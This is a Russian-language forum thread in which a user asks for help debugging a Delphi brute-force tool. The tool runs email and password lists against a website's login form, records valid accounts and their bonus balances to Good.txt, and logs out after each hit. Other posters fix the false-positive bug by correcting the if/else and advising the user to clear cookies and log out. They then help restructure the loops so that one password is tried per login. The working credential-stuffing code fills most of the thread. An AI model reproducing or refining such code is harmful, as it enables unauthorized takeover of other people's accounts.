[Помогите!] Помощь с брутом

[19955991]

Вообщем бручу простенький сайт без капчи и прокси. Проблема в том что он перебирает логины и пароли до ближайшего гуда, а как только ловит гуд, то следом за ним начинает все определять как гуд
Ну т.е. примерно так:
login;pass - Действительно Bad
login;pass - Действительно Bad
login;pass - Действительно Good
login;pass - Ложный Good
login;pass - Ложный Good

Цитата: procedure TForm1.Button1Click(Sender: TObject); var email:TStringList; pass:TStringList; post:TStringList; i,j:integer; result:string; begin email:=TStringList.Create; pass:=TStringList.Create; post:=tstringlist.Create; email.LoadFromFile('email.txt'); pass.LoadFromFile('pass.txt'); memo1.Text:=email.Text; memo2.Text:=pass.Text; for I := 0 to memo1.Lines.Count - 1 do begin post.Clear; post.Add('page=сайт/login.php'); post.Add('userNick='+memo1.Lines.Strings[i]); for j:=0 to pass.Count-1 do begin post.Add('userPass='+memo2.Lines.Strings[j]); result:=idhttp1.Post('сайт', post); if pos('logout', result)<>0 then memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Good') else memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Bad'); end; end; end; end.

[VeTaL_UA]

result:='';

Вставь это после конструкции if..then..else

[19955991]

Цитата: Сообщение от VeTaL_UA result:=''; Вставь это после конструкции if..then..else

Вроде бы и логично, но к сожалению результат тот же...

[VeTaL_UA]

procedure TForm1.Button1Click(Sender: TObject);
var
email:TStringList;
pass:TStringList;
post:TStringList;
i,j:integer;
result:string;
begin
email:=TStringList.Create;
pass:=TStringList.Create;
post:=tstringlist.Create;
email.LoadFromFile('email.txt');
pass.LoadFromFile('pass.txt');
memo1.Text:=email.Text;
memo2.Text:=pass.Text;
for I := 0 to memo1.Lines.Count - 1 do
begin
post.Clear;
post.Add('page=сайт/login.php');
post.Add('userNick='+memo1.Lines.Strings[i]);
for j:=0 to pass.Count-1 do
begin
post.Add('userPass='+memo2.Lines.Strings[j]);
result:=idhttp1.Post('сайт', post);
if pos('logout', result)<>0 then
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Good');
result:=''
else
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Bad');
result:='';
end;
end;
end;
end.

[19955991]

VeTaL_UA, и опять не то, дело в том что так как ты написал не получиться, надо после then добавлять begin и end перед else соответственно, а в таком случае также начинает неправильно определять(все гуды), может сайт и пароль в личку скинуть, посмотришь?

[VeTaL_UA]

procedure TForm1.Button1Click(Sender: TObject);
var
email:TStringList;
pass:TStringList;
post:TStringList;
i,j:integer;
result:string;
begin
email:=TStringList.Create;
pass:=TStringList.Create;
post:=tstringlist.Create;
email.LoadFromFile('email.txt');
pass.LoadFromFile('pass.txt');
memo1.Text:=email.Text;
memo2.Text:=pass.Text;
for I := 0 to memo1.Lines.Count - 1 do
begin
post.Clear;
post.Add('page=сайт/login.php');
post.Add('userNick='+memo1.Lines.Strings[i]);
for j:=0 to pass.Count-1 do
begin
post.Add('userPass='+memo2.Lines.Strings[j]);
result:=idhttp1.Post('сайт', post);
if pos('logout', result)<>0 then
begin
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Good');
end
else
begin
memo3.Lines.Add(memo1.Lines.Strings[i]+';'+memo2.Lines.Strings[j]+' - Bad');
end;
result:='';
end;
end;
end;
end.

Должно работать, или дело в запросе...

[Mebius]

куки чисти и не забудь перед следующим подбором нажать волшебную кнопочку "выход" на сайте

[19955991]

Цитата: Сообщение от Mebius куки чисти и не забудь перед следующим подбором нажать волшебную кнопочку "выход" на сайте

спасибо большое!!!

Подскажите еще пожалуйста как сделать чтобы брут перебирал 1 пароль к 1 логину.
Сейчас он перебирает 1 логину все пароли

[VeTaL_UA]

Цитата: Сообщение от 19955991 Подскажите еще пожалуйста как сделать чтобы брут перебирал 1 пароль к 1 логину. Сейчас он перебирает 1 логину все пароли

Убрать один цикл...

[19955991]

Всем спасибо, разобрался

Добавлено через 21 час 16 минут
Вообщем опять проблемы
Один цикл убрал но опять же перебирает 1 пароль ко всем логинам, не пойму в чем проблема, вроде все правильно, перепробовал уже все что можно и нельзя.

Цитата: procedure TForm1.Button1Click(Sender: TObject); var post, good, bad:TStringList; i,j:integer; result:tStringlist; bal: String; sgood,sbad:integer; begin email:=TStringList.Create; pass:=TStringList.Create; post:=tstringlist.Create; result:=tstringlist.Create; good:=tstringlist.Create; bad:=tstringlist.Create; sgood:=0; sbad:=0; email.LoadFromFile('logins.txt'); pass.LoadFromFile('pass.txt'); for I := 0 to email.Count - 1 do begin post.Clear; post.Add('page=сайт/login.php'); post.Add('userNick='+email.Strings[i]); post.Add('userPass='+pass.Strings[J]); result.Text:=idhttp1.Post('Сайт', post); if pos('logout', result.Text)<>0 then begin bal:=pars('<a href="/bonuses.php">', result.Text, '</a>'); memo3.Lines.Add(email.Strings[i]+';'+pass.Strings[j]+' - Good'+bal); good.Add(email.Strings[i]+';'+pass.Strings[j]+bal); good.SaveToFile('Good.txt'); sgood:=sgood+1; StaticText1.Caption:=inttostr(sgood); result.Text:=idhttp1.Get('http://сайт.ru/login.php?action=logout'); end else begin memo3.Lines.Add(email.Strings[i]+';'+pass.Strings[j]+' - Bad'); result.Clear; bad.Add(email.Strings[i]+';'+pass.Strings[j]); bad.SaveToFile('Bad.txt'); sbad:=sbad+1; StaticText2.Caption:=inttostr(sbad) end; end; end; end.